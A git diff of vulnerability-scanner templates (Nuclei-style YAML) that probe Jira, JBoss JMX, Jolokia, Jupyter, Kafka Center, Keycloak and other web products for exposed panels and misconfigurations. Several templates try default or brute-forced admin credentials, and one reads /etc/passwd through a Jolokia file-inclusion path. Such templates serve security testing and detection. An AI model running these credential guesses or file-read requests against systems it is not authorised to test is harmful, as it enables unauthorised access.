4b0a00483046022100c7f1aeb7fdb9213a70f5c33dbd33cb2e5f4445b1b3c8644668dfb733ae8e3f48022100ff616236d4f688db2f8267b1d09d2a573a8c6c266b7690b419697f88bdc8faf7:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/jinher-oa-default-login.yaml b/poc/auth/jinher-oa-default-login.yaml deleted file mode 100644 index 84e1e87e9b..0000000000 --- a/poc/auth/jinher-oa-default-login.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: jinher-oa-default-login -info: - name: Jinher-OA C6 - Default Admin Discovery - author: ritikchaddha - severity: high - description: Jinher-OA C6 default admin credentials were discovered. - reference: - - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E5%92%8COA-C6-default-password.md - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - tags: jinher,default-login -requests: - - raw: - - | - POST /c6/Jhsoft.Web.login/AjaxForLogin.aspx HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - type=login&loginCode={{base64("{{username}}")}}&pwd={{base64("{{password}}")}}& - attack: pitchfork - payloads: - username: - - admin - password: - - "000000" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "ϵͳ¹ÜÀíÔ±|" - - "ÄúºÃ|||" - condition: and - - type: word - part: header - words: - - "SessionIDAdmin=" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/15 diff --git a/poc/auth/jira-login-default.yaml b/poc/auth/jira-login-default.yaml index d3d14b37e6..4b34037e6d 100644 --- a/poc/auth/jira-login-default.yaml +++ b/poc/auth/jira-login-default.yaml @@ -8,10 +8,10 @@ info: reference: - https://owasp.org/www-community/attacks/Credential_stuffing metadata: - max-request: 1 shodan-query: http.component:"Atlassian Jira" fofa-query: product="JIRA" tags: login-check,jira,creds-stuffing,self-hosted + variables: username: "{{username}}" password: "{{password}}" @@ -32,8 +32,8 @@ http: dsl: - username - password - attack: pitchfork + attack: pitchfork matchers-condition: and matchers: - type: word @@ -43,6 +43,4 @@ http: - type: status status: - - 200 - -# digest: 4a0a0047304502201b101496c1854e349bf95753e7cdfb3343d8599dc26efb543e4c3ceb2bb95e1f0221008648d8f4932d84b324ff6a350ea792a0ef1ef91a393292f43082173ccbb99a54:922c64590222798bb761d5b6d8e72950 + - 200 \ No newline at end of file diff --git a/poc/auth/jira-service-desk-signup-8317.yaml b/poc/auth/jira-service-desk-signup-8317.yaml deleted file mode 100644 index 558b3ff970..0000000000 --- a/poc/auth/jira-service-desk-signup-8317.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: jira-service-desk-signup -info: - name: Jira Service Desk Signup - author: TechbrunchFR - severity: medium - tags: jira,atlassian -requests: - - method: POST - path: - - "{{BaseURL}}/servicedesk/customer/user/signup" - headers: - Content-Type: application/json - body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}' - matchers-condition: and - matchers: - - type: word - words: - - "signup.validation.errors" - - type: status - status: - - 400 diff --git a/poc/auth/jira-service-desk-signup-8320.yaml b/poc/auth/jira-service-desk-signup-8320.yaml index 6604106545..558b3ff970 100644 --- a/poc/auth/jira-service-desk-signup-8320.yaml +++ b/poc/auth/jira-service-desk-signup-8320.yaml @@ -3,6 +3,7 @@ info: name: Jira Service Desk Signup author: TechbrunchFR severity: medium + tags: jira,atlassian requests: - method: POST path: diff --git a/poc/auth/jira-service-desk-signup-8321.yaml b/poc/auth/jira-service-desk-signup-8321.yaml new file mode 100644 index 0000000000..6604106545 --- /dev/null +++ b/poc/auth/jira-service-desk-signup-8321.yaml @@ -0,0 +1,20 @@ +id: jira-service-desk-signup +info: + name: Jira Service Desk Signup + author: TechbrunchFR + severity: medium +requests: + - method: POST + path: + - "{{BaseURL}}/servicedesk/customer/user/signup" + headers: + Content-Type: application/json + body: '{"email":"invalid","signUpContext":{},"secondaryEmail":"","usingNewUi":true}' + matchers-condition: and + matchers: + - type: word + words: + - "signup.validation.errors" + - type: status + status: + - 400 diff --git a/poc/auth/jira-unauthenticated-dashboards-8324.yaml b/poc/auth/jira-unauthenticated-dashboards-8324.yaml deleted file mode 100644 index fbc9736afa..0000000000 --- a/poc/auth/jira-unauthenticated-dashboards-8324.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: jira-unauthenticated-dashboards -# If public sharing is ON it allows users to share dashboards and filters with all users including -# those that are not logged in. Those dashboard and filters could reveal potentially sensitive information. -info: - name: Jira Unauthenticated Dashboards - author: TechbrunchFR - severity: Info -requests: - - method: GET - path: - - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100" - matchers: - - type: word - words: - - 'dashboards' - - 'startAt' - - 'maxResults' - condition: and - -# Remediation: -# Ensure that this permission is restricted to specific groups that require it. -# You can restrict it in Administration > System > Global Permissions. -# Turning the feature off will not affect existing filters and dashboards. -# If you change this setting, you will still need to update the existing filters and dashboards if they have already been -# shared publicly. -# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced. diff --git a/poc/auth/jira-unauthenticated-dashboards-8326.yaml b/poc/auth/jira-unauthenticated-dashboards-8326.yaml new file mode 100644 index 0000000000..c07f287060 --- /dev/null +++ b/poc/auth/jira-unauthenticated-dashboards-8326.yaml @@ -0,0 +1,30 @@ +id: jira-unauthenticated-dashboards + +# If public sharing is ON it allows users to share dashboards and filters with all users including +# those that are not logged in. Those dashboards and filters could reveal potentially sensitive information. + +info: + name: Jira Unauthenticated Dashboards + author: TechbrunchFR + severity: info + tags: atlassian,jira + +requests: + - method: GET + path: + - "{{BaseURL}}/rest/api/2/dashboard?maxResults=100" + matchers: + - type: word + words: + - 'dashboards' + - 'startAt' + - 'maxResults' + condition: and + +# Remediation: +# Ensure that this permission is restricted to specific groups that require it. +# You can restrict it in Administration > System > Global Permissions. +# Turning the feature off will not affect existing filters and dashboards. +# If you change this setting, you will still need to update the existing filters and dashboards if they have already been +# shared publicly. +# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced. diff --git a/poc/auth/jira-unauthenticated-installed-gadgets-8328.yaml b/poc/auth/jira-unauthenticated-installed-gadgets-8328.yaml index 58e5fb36b6..bb38dd61ea 100644 --- a/poc/auth/jira-unauthenticated-installed-gadgets-8328.yaml +++ b/poc/auth/jira-unauthenticated-installed-gadgets-8328.yaml @@ -1,31 +1,21 @@ id: jira-unauthenticated-installed-gadgets - info: name: Jira Unauthenticated Installed gadgets author: philippedelteil severity: info description: Some Jira instances allow to read the installed gadgets (sometimes it's also possible to read config xml file for some gadgets) - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Jira" tags: atlassian,jira - -http: +requests: - method: GET path: - "{{BaseURL}}/rest/config/1.0/directory" - - host-redirects: true + redirects: true max-redirects: 2 - matchers-condition: and matchers: - type: word words: - 'jaxbDirectoryContents' - - type: status status: - 200 - -# digest: 4a0a0047304502210099f7859c8f6312ba07f43ba7d80b6ced1937f1ffc2ae555b1ae5d11f1cdc797d02207e68b09ecc7c8f7767224d8b8e07d539a312323747af7ba36059c9c5bdb4a5c9:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/jira-unauthenticated-installed-gadgets-8330.yaml b/poc/auth/jira-unauthenticated-installed-gadgets-8330.yaml deleted file mode 100644 index da56b71092..0000000000 --- a/poc/auth/jira-unauthenticated-installed-gadgets-8330.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: jira-unauthenticated-installed-gadgets - -info: - name: Jira Unauthenticated Installed gadgets - author: philippedelteil - severity: info - description: Some Jira instances allow to read the installed gadgets (sometimes it's also possible to read config xml file for some gadgets) - tags: atlassian,jira - -requests: - - method: GET - path: - - "{{BaseURL}}/rest/config/1.0/directory" - - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - words: - - 'jaxbDirectoryContents' - - - type: status - status: - - 200 diff --git a/poc/auth/jira-unauthenticated-popular-filters-8331.yaml b/poc/auth/jira-unauthenticated-popular-filters-8331.yaml new file mode 100644 index 0000000000..0049e91b4e --- /dev/null +++ b/poc/auth/jira-unauthenticated-popular-filters-8331.yaml @@ -0,0 +1,23 @@ +id: jira-unauthenticated-popular-filters + +info: + name: Jira Unauthenticated Popular Filters + author: TechbrunchFR + severity: Info + +requests: + - method: GET + path: + - "{{BaseURL}}/secure/ManageFilters.jspa?filter=popular&filterView=popular" + matchers: + - type: word + words: + - 'filterlink_' + +# Remediation: +# Ensure that this permission is restricted to specific groups that require it. +# You can restrict it in Administration > System > Global Permissions. +# Turning the feature off will not affect existing filters and dashboards. +# If you change this setting, you will still need to update the existing filters and dashboards if they have already been +# shared publicly. +# Since Jira 7.2.10, a dark feature to disable site-wide anonymous access was introduced. diff --git a/poc/auth/jira-unauthenticated-popular-filters.yaml b/poc/auth/jira-unauthenticated-popular-filters.yaml index 6fbda02ff3..304d20f9a0 100644 --- a/poc/auth/jira-unauthenticated-popular-filters.yaml +++ b/poc/auth/jira-unauthenticated-popular-filters.yaml @@ -1,8 +1,9 @@ -id: jira-unauthenticated-popular-filters +id: jira-unauth-popular-filters info: name: Jira Unauthenticated Popular Filters author: TechbrunchFR - severity: Info + severity: info + tags: atlassian,jira requests: - method: GET path: diff --git a/poc/auth/jira-unauthenticated-projectcategories.yaml b/poc/auth/jira-unauthenticated-projectcategories.yaml deleted file mode 100644 index 9548c4ed23..0000000000 --- a/poc/auth/jira-unauthenticated-projectcategories.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: jira-unauthenticated-projectcategories -info: - name: Jira Unauthenticated Project Categories - author: TESS - severity: info - tags: atlassian,jira -requests: - - method: GET - path: - - "{{BaseURL}}/rest/api/2/projectCategory?maxResults=1000" - matchers-condition: and - matchers: - - type: word - words: - - 'self' - - 'description' - - 'name' - condition: and - - type: status - status: - - 200 - - type: word - part: header - words: - - "atlassian.xsrf.token" diff --git a/poc/auth/jira-unauthenticated-projects-8335.yaml b/poc/auth/jira-unauthenticated-projects-8335.yaml deleted file mode 100644 index b23471572b..0000000000 --- a/poc/auth/jira-unauthenticated-projects-8335.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: jira-unauthenticated-projects - -info: - name: Jira Unauthenticated Projects - author: TechbrunchFR - severity: info - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Jira" - tags: atlassian,jira - -http: - - method: GET - path: - - "{{BaseURL}}/rest/api/2/project?maxResults=100" - - matchers: - - type: word - words: - - 'projects' - - 'startAt' - - 'maxResults' - condition: and - -# digest: 4a0a004730450220581d4459c98b3cfe9cc69310f86ad76f7a88cb5c8a633dba698cba5532551df002210099aed0a0def6d0deb8d063f466818d4c08fbbf1fb7576900d783852fb16c3ed5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/jira-unauthenticated-projects.yaml b/poc/auth/jira-unauthenticated-projects.yaml new file mode 100644 index 0000000000..feb60dc794 --- /dev/null +++ b/poc/auth/jira-unauthenticated-projects.yaml @@ -0,0 +1,16 @@ +id: jira-unauthenticated-projects +info: + name: Jira Unauthenticated Projects + author: TechbrunchFR + severity: Info +requests: + - method: GET + path: + - "{{BaseURL}}/rest/api/2/project?maxResults=100" + matchers: + - type: word + words: + - 'projects' + - 'startAt' + - 'maxResults' + condition: and diff --git a/poc/auth/jira-unauthenticated-user-picker-8341.yaml b/poc/auth/jira-unauthenticated-user-picker-8341.yaml index 0ce9858072..24a41bc721 100644 --- a/poc/auth/jira-unauthenticated-user-picker-8341.yaml +++ b/poc/auth/jira-unauthenticated-user-picker-8341.yaml @@ -1,14 +1,15 @@ id: jira-unauthenticated-user-picker + info: name: Jira Unauthenticated User Picker - author: TechbrunchFR - severity: info - tags: atlassian,jira + author: medbsq + severity: medium + requests: - method: GET path: - - "{{BaseURL}}/secure/popups/UserPickerBrowser.jspa" + - "{{BaseURL}}/rest/api/user/picker?query=admin" matchers: - - type: word - words: - - 'user-picker' + - type: status + status: + - 200 \ No newline at end of file diff --git a/poc/auth/jmx-default-login-8356.yaml b/poc/auth/jmx-default-login-8356.yaml index 7062d26898..375f1c4132 100644 --- a/poc/auth/jmx-default-login-8356.yaml +++ b/poc/auth/jmx-default-login-8356.yaml @@ -1,15 +1,30 @@ id: jmx-default-login + info: - name: JBoss JMX Console Weak Credential + name: JBoss JMX Console Weak Credential Discovery author: paradessia severity: high + description: JBoss JMX Console default login information was discovered. + reference: + - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 28 tags: jboss,jmx,default-login -requests: + +http: - raw: + - | + GET /jmx-console/ HTTP/1.1 + Host: {{Hostname}} - | GET /jmx-console/ HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(user + ':' + pass)}} + attack: clusterbomb payloads: user: @@ -23,11 +38,15 @@ requests: - 123456789 - 123qwe - root + matchers-condition: and matchers: + - type: dsl + dsl: + - "!contains(body_1, 'JMImplementation') && contains(body_2, 'JMImplementation')" + - type: status status: - 200 - - type: word - words: - - 'JMImplementation' + +# digest: 4a0a0047304502201f319b650493bdd684894819ca3875b30d71b689af29bc7cbd853256fbae046502210088d943455efcfe4aa5951c5f50705509f37b815eb8d49d803fd40c2acb19a3c5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/jmx-default-login.yaml b/poc/auth/jmx-default-login.yaml deleted file mode 100644 index 84d0053092..0000000000 --- a/poc/auth/jmx-default-login.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: jmx-default-login -info: - name: JBoss JMX Console Weak Credential Discovery - description: JBoss JMX Console default login information was discovered. - author: paradessia - severity: high - tags: jboss,jmx,default-login - reference: - - https://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 -requests: - - raw: - - | - GET /jmx-console/ HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic {{base64(user + ':' + pass)}} - attack: clusterbomb - payloads: - user: - - admin - - root - pass: - - admin - - 12345 - - 123456 - - 1234 - - 123456789 - - 123qwe - - root - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'JMImplementation' - -# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/jolokia-unauthenticated-lfi-8366.yaml b/poc/auth/jolokia-unauthenticated-lfi-8366.yaml index 557f6733ce..36edc5a3f5 100644 --- a/poc/auth/jolokia-unauthenticated-lfi-8366.yaml +++ b/poc/auth/jolokia-unauthenticated-lfi-8366.yaml @@ -1,5 +1,4 @@ id: jolokia-unauthenticated-lfi - info: name: Jolokia - Local File Inclusion author: dhiyaneshDk @@ -12,18 +11,13 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 - metadata: - max-request: 2 - tags: jolokia,springboot,tomcat,lfi,misconfig - -http: + tags: jolokia,springboot,tomcat,lfi +requests: - method: GET path: - "{{BaseURL}}/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd" - "{{BaseURL}}/actuator/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/etc!/passwd" - stop-at-first-match: true - matchers-condition: and matchers: - type: regex @@ -31,9 +25,8 @@ http: - "root:.*:0:0:" - "compilerDirectivesAdd" condition: and - - type: status status: - 200 -# digest: 4b0a004830460221009a77b8b7f8d4e71acc85a0418bbeaa1ae6c6c3c8b46baccd530818f17fe507d7022100a407f15f00eb782bac4e78b80121212493bf594ee18591b8b61b01979a86adbb:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/08/03 diff --git a/poc/auth/jupyter-ipython-unauth-8402.yaml b/poc/auth/jupyter-ipython-unauth-8402.yaml index d743967b02..c051900baf 100644 --- a/poc/auth/jupyter-ipython-unauth-8402.yaml +++ b/poc/auth/jupyter-ipython-unauth-8402.yaml @@ -1,33 +1,27 @@ id: jupyter-ipython-unauth - info: name: Jupyter ipython - Authorization Bypass author: pentest_swissky severity: critical description: Jupyter was able to be accessed without authentication. classification: + cvss-score: 10.0 cvss-metrics: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 cwe-id: CWE-288 - metadata: - max-request: 1 - tags: unauth,jupyter,misconfig - -http: + tags: unauth,jupyter +requests: - method: GET path: - "{{BaseURL}}/ipython/tree" - matchers-condition: and matchers: - type: status status: - 200 - - type: word words: - ipython/static/components - ipython/kernelspecs part: body -# digest: 4a0a00473045022100cc5c45ed73827622a401836262656f8fb9e79bbc669e16419b65551211bbf9d8022054d04becd629b9bbb56f47747034eb68f980424b0e3392d268316cefa2b6bf14:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/05/20 diff --git a/poc/auth/jupyterhub-default-login-8401.yaml b/poc/auth/jupyterhub-default-login-8401.yaml index 8ed406b725..eb6153750b 100644 --- a/poc/auth/jupyterhub-default-login-8401.yaml +++ b/poc/auth/jupyterhub-default-login-8401.yaml @@ -1,9 +1,15 @@ id: jupyterhub-default-login info: - name: Jupyterhub Default Login + name: Jupyterhub - Default Admin Discovery author: For3stCo1d severity: high - reference: https://github.com/jupyterhub/jupyterhub + description: Jupyterhub default admin credentials were discovered. + reference: + - https://github.com/jupyterhub/jupyterhub + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: shodan-query: http.title:"JupyterHub" tags: jupyterhub,default-login @@ -33,3 +39,5 @@ requests: - type: status status: - 302 + +# Enhanced by mp on 2022/07/15 diff --git a/poc/auth/jupyterhub-default-login-8400.yaml b/poc/auth/jupyterhub-default-login.yaml similarity index 100% rename from poc/auth/jupyterhub-default-login-8400.yaml rename to poc/auth/jupyterhub-default-login.yaml diff --git a/poc/auth/jwt-token.yaml b/poc/auth/jwt-token-8408.yaml similarity index 100% rename from poc/auth/jwt-token.yaml rename to poc/auth/jwt-token-8408.yaml diff --git a/poc/auth/jwt-token-8410.yaml b/poc/auth/jwt-token-8410.yaml deleted file mode 100644 index 7361152a77..0000000000 --- a/poc/auth/jwt-token-8410.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: jwt-token - -info: - name: JWT Token Disclosure - author: Ice3man - severity: unknown - tags: exposure,token - -requests: - - method: GET - path: - - "{{BaseURL}}" - - extractors: - - type: regex - part: body - regex: - - 'eyJ[a-zA-Z0-9]{10,}\.eyJ[a-zA-Z0-9]{10,}\.[a-zA-Z0-9_\-]{10,}' \ No newline at end of file diff --git a/poc/auth/kafka-center-default-login-8415.yaml b/poc/auth/kafka-center-default-login-8415.yaml new file mode 100644 index 0000000000..6de21b6717 --- /dev/null +++ b/poc/auth/kafka-center-default-login-8415.yaml @@ -0,0 +1,48 @@ +id: kafka-center-default-login + +info: + name: Apache Kafka Center Default Login + author: dhiyaneshDK + severity: high + tags: kafka,default-login + description: Apache Kafka Center default admin credentials were discovered. + reference: + - https://developer.ibm.com/tutorials/kafka-authn-authz/ + metadata: + shodan-query: http.title:"Kafka Center" + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 + +requests: + - raw: + - | + POST /login/system HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"name":"{{username}}","password":"{{password}}","checkbox":false} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + matchers-condition: and + matchers: + + - type: word + words: + - '"code":200' + - '"name":"admin"' + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/auth/kafka-center-default-login-8416.yaml b/poc/auth/kafka-center-default-login-8416.yaml index dc906bae8a..4bf1b45c64 100644 --- a/poc/auth/kafka-center-default-login-8416.yaml +++ b/poc/auth/kafka-center-default-login-8416.yaml @@ -3,16 +3,17 @@ info: name: Apache Kafka Center Default Login author: dhiyaneshDK severity: high + tags: kafka,default-login description: Apache Kafka Center default admin credentials were discovered. reference: - https://developer.ibm.com/tutorials/kafka-authn-authz/ + metadata: + shodan-query: http.title:"Kafka Center" classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - metadata: - shodan-query: http.title:"Kafka Center" - tags: kafka,default-login requests: - raw: - | diff --git a/poc/auth/kafka-center-login-8418.yaml b/poc/auth/kafka-center-login-8418.yaml deleted file mode 100644 index 62880b87cd..0000000000 --- a/poc/auth/kafka-center-login-8418.yaml +++ /dev/null @@ -1,18 +0,0 @@ -id: kafka-center-login -info: - name: Kafka Center Login - author: dhiyaneshDK - severity: info - tags: panel,kafka - metadata: - shodan-query: http.title:"Kafka Center" -requests: - - method: GET - path: - - '{{BaseURL}}' - redirects: true - max-redirects: 2 - matchers: - - type: word - words: - - 'Kafka Center' diff --git a/poc/auth/kafka-center-login-8419.yaml b/poc/auth/kafka-center-login-8419.yaml new file mode 100644 index 0000000000..b045e332fa --- /dev/null +++ b/poc/auth/kafka-center-login-8419.yaml @@ -0,0 +1,18 @@ +id: kafka-center-login +info: + name: Kafka Center Login + author: dhiyaneshDK + severity: info + metadata: + shodan-query: http.title:"Kafka Center" + tags: panel,kafka +requests: + - method: GET + path: + - '{{BaseURL}}' + redirects: true + max-redirects: 2 + matchers: + - type: word + words: + - 'Kafka Center' diff --git a/poc/auth/kenesto-login-8444.yaml b/poc/auth/kenesto-login-8444.yaml new file mode 100644 index 0000000000..ae45e0681e --- /dev/null +++ b/poc/auth/kenesto-login-8444.yaml @@ -0,0 +1,22 @@ +id: kenesto-login +info: + name: Kenesto Login Detect + author: pussycat0x + severity: info + metadata: + fofa-dork: 'app="kenesto"' + tags: login,tech,kenesto +requests: + - method: GET + path: + - "{{BaseURL}}/Kenesto/Account/LogOn?ReturnUrl=%2fkenesto" + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Welcome To Kenesto®' + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/kenesto-login-8445.yaml b/poc/auth/kenesto-login-8445.yaml deleted file mode 100644 index 8151f43c6f..0000000000 --- a/poc/auth/kenesto-login-8445.yaml +++ /dev/null @@ -1,26 +0,0 @@ -id: kenesto-login - -info: - name: Kenesto Login Detect - author: pussycat0x - severity: info - metadata: - fofa-dork: 'app="kenesto"' - tags: login,tech,kenesto - -requests: - - method: GET - path: - - "{{BaseURL}}/Kenesto/Account/LogOn?ReturnUrl=%2fkenesto" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Welcome To Kenesto®' - condition: and - - - type: status - status: - - 200 diff --git a/poc/auth/kenesto-login.yaml b/poc/auth/kenesto-login.yaml index 2f6bb90682..8151f43c6f 100644 --- a/poc/auth/kenesto-login.yaml +++ b/poc/auth/kenesto-login.yaml @@ -1,22 +1,14 @@ id: kenesto-login info: - name: Kenesto - Login Detect + name: Kenesto Login Detect author: pussycat0x severity: info - description: Kenesto login panel was discovered. - reference: - - https://www.kenesto.com/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 metadata: - max-request: 1 - fofa-query: 'app="kenesto"' - tags: login,tech,kenesto,panel + fofa-dork: 'app="kenesto"' + tags: login,tech,kenesto -http: +requests: - method: GET path: - "{{BaseURL}}/Kenesto/Account/LogOn?ReturnUrl=%2fkenesto" @@ -32,5 +24,3 @@ http: - type: status status: - 200 - -# digest: 490a00463044022026e94aaf8a5f8bcf561f41bf85014857975df62011a0132cbd79226330596079022037e2845b74d3f26fdb74395814cf2efdeceec4d5cce15cda7947fa3c8cf2ba69:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/kentico-login-8446.yaml b/poc/auth/kentico-login-8446.yaml new file mode 100644 index 0000000000..ed3664810e --- /dev/null +++ b/poc/auth/kentico-login-8446.yaml @@ -0,0 +1,23 @@ +id: kentico-login + +info: + name: Kentico Login Panel + author: d4vy + severity: info + reference: https://docs.xperience.io/k8/using-the-kentico-interface + tags: panel,login,kentico + +requests: + - method: GET + path: + - "{{BaseURL}}/CMSPages/logon.aspx" + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: dsl + dsl: + - "status_code==200" + - "contains(tolower(body), 'cmspages/getresource.ashx')" + condition: and \ No newline at end of file diff --git a/poc/auth/kentico-login.yaml b/poc/auth/kentico-login.yaml index 5952ac7611..9aeddfaad5 100644 --- a/poc/auth/kentico-login.yaml +++ b/poc/auth/kentico-login.yaml @@ -1,28 +1,16 @@ id: kentico-login - info: - name: Kentico Login Panel - Detect + name: Kentico Login Panel author: d4vy severity: info - description: Kentico login panel was detected. - reference: - - https://docs.xperience.io/k8/using-the-kentico-interface - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 + reference: https://docs.xperience.io/k8/using-the-kentico-interface tags: panel,login,kentico - -http: +requests: - method: GET path: - "{{BaseURL}}/CMSPages/logon.aspx" - - host-redirects: true + redirects: true max-redirects: 2 - matchers-condition: and matchers: - type: dsl @@ -30,5 +18,3 @@ http: - "status_code==200" - "contains(tolower(body), 'cmspages/getresource.ashx')" condition: and - -# digest: 490a004630440220078d50c830b7aa190132f85b41d021bbfa9afd66faaf56cce243bf8fbbedd6e4022013cf168da3ddebdcb992697741bb9e589b6269951be8c333ede07cc3cd1886d6:922c64590222798bb761d5b6d8e72950 diff --git a/poc/auth/key-cloak-admin-panel-8468.yaml b/poc/auth/key-cloak-admin-panel-8468.yaml new file mode 100644 index 0000000000..464a7184b7 --- /dev/null +++ b/poc/auth/key-cloak-admin-panel-8468.yaml @@ -0,0 +1,18 @@ +id: key-cloak-admin-panel + +info: + name: Keycloak Admin Panel + author: incogbyte + severity: low + tags: panel + +requests: + - method: GET + path: + - "{{BaseURL}}/auth/admin/master/console/" + + matchers: + - type: word + words: + - "" + part: body \ No newline at end of file diff --git a/poc/auth/key-cloak-admin-panel-8470.yaml b/poc/auth/key-cloak-admin-panel-8470.yaml deleted file mode 100644 index a3d0c21852..0000000000 --- a/poc/auth/key-cloak-admin-panel-8470.yaml +++ /dev/null @@ -1,20 +0,0 @@ -id: key-cloak-admin-panel -info: - name: Keycloak Admin Panel - author: incogbyte,righettod - severity: info - tags: panel,keycloak -requests: - - method: GET - path: - - "{{BaseURL}}/auth/admin/master/console/" - - "{{BaseURL}}/auth/admin" - redirects: true - max-redirects: 2 - matchers: - - type: word - words: - - "" - - "keycloak" - part: body - condition: or diff --git a/poc/auth/keycloak-json-8472.yaml b/poc/auth/keycloak-json-8472.yaml new file mode 100644 index 0000000000..f99debc225 --- /dev/null +++ b/poc/auth/keycloak-json-8472.yaml @@ -0,0 +1,21 @@ +id: keycloak-json +info: + name: Keycloak Json File + author: oppsec + severity: info + tags: exposure,keycloak,config +requests: + - method: GET + path: + - "{{BaseURL}}/keycloak.json" + matchers-condition: and + matchers: + - type: word + words: + - realm + - resource + - auth-server-url + condition: and + - type: status + status: + - 200 diff --git a/poc/auth/keycloak-json-8473.yaml b/poc/auth/keycloak-json-8473.yaml deleted file mode 100644 index 20e0016894..0000000000 --- a/poc/auth/keycloak-json-8473.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: keycloak-json -info: - name: Keycloak Json File - author: oppsec - severity: info - tags: exposure -requests: - - method: GET - path: - - "{{BaseURL}}/keycloak.json" - matchers-condition: and - matchers: - - type: word - words: - - realm - - resource - - auth-server-url - condition: and - - type: status - status: - - 200 diff --git a/poc/auth/keycloak-xss-8480.yaml b/poc/auth/keycloak-xss-8480.yaml new file mode 100644 index 0000000000..6f73adfd83 --- /dev/null +++ b/poc/auth/keycloak-xss-8480.yaml @@ -0,0 +1,28 @@ +id: keycloak-xss + +info: + name: Keycloak <= 8.0 - Cross Site Scripting + author: incogbyte + severity: info + reference: + - https://cure53.de/pentest-report_keycloak.pdf + tags: keycloak,xss + +requests: + - raw: + - | + POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/json + + {"":1} + + matchers-condition: and + matchers: + - type: status + status: + - 400 + + - type: word + words: + - 'Unrecognized field ""' \ No newline at end of file diff --git a/poc/auth/keycloak-xss-8482.yaml b/poc/auth/keycloak-xss-8482.yaml deleted file mode 100644 index 8397f21f07..0000000000 --- a/poc/auth/keycloak-xss-8482.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: keycloak-xss - -info: - name: Keycloak <= 8.0 - Cross Site Scripting - author: incogbyte - severity: info - reference: https://cure53.de/pentest-report_keycloak.pdf - tags: keycloak,xss - -requests: - - raw: - - | - POST /auth/realms/master/clients-registrations/openid-connect HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - - {"":1} - - matchers-condition: and - matchers: - - type: status - status: - - 400 - - - type: word - words: - - 'Unrecognized field ""' \ No newline at end of file diff --git a/poc/auth/kiwitcms-login-8496.yaml b/poc/auth/kiwitcms-login-8496.yaml index b65a31ddd7..ae81534fc8 100644 --- a/poc/auth/kiwitcms-login-8496.yaml +++ b/poc/auth/kiwitcms-login-8496.yaml @@ -1,26 +1,23 @@ id: kiwitcms-login - info: name: Kiwi TCMS Login author: pdteam severity: info - reference: 